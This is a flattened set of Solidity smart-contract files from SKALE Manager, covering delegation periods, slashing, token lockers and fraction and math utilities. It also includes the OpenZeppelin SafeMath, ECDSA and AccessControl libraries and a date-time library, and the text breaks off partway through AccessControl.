the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library FractionUtils { using SafeMath for uint; struct Fraction { uint numerator; uint denominator; } function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) { require(denominator > 0, "Division by zero"); Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator}); reduceFraction(fraction); return fraction; } function createFraction(uint value) internal pure returns (Fraction memory) { return createFraction(value, 1); } function reduceFraction(Fraction memory fraction) internal pure { uint _gcd = gcd(fraction.numerator, fraction.denominator); fraction.numerator = fraction.numerator.div(_gcd); fraction.denominator = fraction.denominator.div(_gcd); } // numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1 function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) { return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator)); } function gcd(uint a, uint b) internal pure returns (uint) { uint _a = a; uint _b = b; if (_b > _a) { (_a, _b) = swap(_a, _b); } while (_b > 0) { _a = _a.mod(_b); (_a, _b) = swap (_a, _b); } return _a; } function swap(uint a, uint b) internal pure returns (uint, uint) { return (b, a); } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library MathUtils { uint constant private _EPS = 1e6; event UnderflowError( uint a, uint b ); function boundedSub(uint256 a, uint256 b) internal returns (uint256) { if (a >= b) { return a - b; } else { emit UnderflowError(a, b); return 0; } } function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) { if (a >= b) { return a - b; } else { return 0; } } function muchGreater(uint256 a, uint256 b) internal pure returns (bool) { assert(uint(-1) - _EPS > b); return a > b + _EPS; } function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) { if (a > b) { return a - b < _EPS; } else { return b - a < _EPS; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationPeriodManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; /** * @title Delegation Period Manager * @dev This contract handles all delegation offerings. Delegations are held for * a specified period (months), and different durations can have different * returns or `stakeMultiplier`. Currently, only delegation periods can be added. */ contract DelegationPeriodManager is Permissions { mapping (uint => uint) public stakeMultipliers; /** * @dev Emitted when a new delegation period is specified. */ event DelegationPeriodWasSet( uint length, uint stakeMultiplier ); /** * @dev Allows the Owner to create a new available delegation period and * stake multiplier in the network. * * Emits a {DelegationPeriodWasSet} event. */ function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner { require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set"); stakeMultipliers[monthsCount] = stakeMultiplier; emit DelegationPeriodWasSet(monthsCount, stakeMultiplier); } /** * @dev Checks whether given delegation period is allowed. */ function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) { return stakeMultipliers[monthsCount] != 0; } /** * @dev Initial delegation period and multiplier settings. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); stakeMultipliers[2] = 100; // 2 months at 100 // stakeMultipliers[6] = 150; // 6 months at 150 // stakeMultipliers[12] = 200; // 12 months at 200 } } // SPDX-License-Identifier: AGPL-3.0-only /* Punisher.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../interfaces/delegation/ILocker.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; /** * @title Punisher * @dev This contract handles all slashing and forgiving operations. */ contract Punisher is Permissions, ILocker { // holder => tokens mapping (address => uint) private _locked; /** * @dev Emitted upon slashing condition. */ event Slash( uint validatorId, uint amount ); /** * @dev Emitted upon forgive condition. */ event Forgive( address wallet, uint amount ); /** * @dev Allows SkaleDKG contract to execute slashing on a validator and * validator's delegations by an `amount` of tokens. * * Emits a {Slash} event. * * Requirements: * * - Validator must exist. */ function slash(uint validatorId, uint amount) external allow("SkaleDKG") { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(validatorService.validatorExists(validatorId), "Validator does not exist"); delegationController.confiscate(validatorId, amount); emit Slash(validatorId, amount); } /** * @dev Allows the Admin to forgive a slashing condition. * * Emits a {Forgive} event. * * Requirements: * * - All slashes must have been processed. */ function forgive(address holder, uint amount) external onlyAdmin { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated"); if (amount > _locked[holder]) { delete _locked[holder]; } else { _locked[holder] = _locked[holder].sub(amount); } emit Forgive(holder, amount); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows DelegationController contract to execute slashing of * delegations. */ function handleSlash(address holder, uint amount) external allow("DelegationController") { _locked[holder] = _locked[holder].add(amount); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } // private /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.processAllSlashes(wallet); return _locked[wallet]; } } // SPDX-License-Identifier: AGPL-3.0-only /* TokenState.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../interfaces/delegation/ILocker.sol"; import "../Permissions.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title Token State * @dev This contract manages lockers to control token transferability. * * The SKALE Network has three types of locked tokens: * * - Tokens that are transferrable but are currently locked into delegation with * a validator. * * - Tokens that are not transferable from one address to another, but may be * delegated to a validator `getAndUpdateLockedAmount`. This lock enforces * Proof-of-Use requirements. * * - Tokens that are neither transferable nor delegatable * `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing. */ contract TokenState is Permissions, ILocker { string[] private _lockers; DelegationController private _delegationController; /** * @dev Emitted when a contract is added to the locker. */ event LockerWasAdded( string locker ); /** * @dev Emitted when a contract is removed from the locker. */ event LockerWasRemoved( string locker ); /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address holder) external override returns (uint) { if (address(_delegationController) == address(0)) { _delegationController = DelegationController(contractManager.getContract("DelegationController")); } uint locked = 0; if (_delegationController.getDelegationsByHolderLength(holder) > 0) { // the holder ever delegated for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); locked = locked.add(locker.getAndUpdateLockedAmount(holder)); } } return locked; } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) { uint forbidden = 0; for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder)); } return forbidden; } /** * @dev Allows the Owner to remove a contract from the locker. * * Emits a {LockerWasRemoved} event. */ function removeLocker(string calldata locker) external onlyOwner { uint index; bytes32 hash = keccak256(abi.encodePacked(locker)); for (index = 0; index < _lockers.length; ++index) { if (keccak256(abi.encodePacked(_lockers[index])) == hash) { break; } } if (index < _lockers.length) { if (index < _lockers.length.sub(1)) { _lockers[index] = _lockers[_lockers.length.sub(1)]; } delete _lockers[_lockers.length.sub(1)]; _lockers.pop(); emit LockerWasRemoved(locker); } } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); addLocker("DelegationController"); addLocker("Punisher"); } /** * @dev Allows the Owner to add a contract to the Locker. * * Emits a {LockerWasAdded} event. */ function addLocker(string memory locker) public onlyOwner { _lockers.push(locker); emit LockerWasAdded(locker); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to 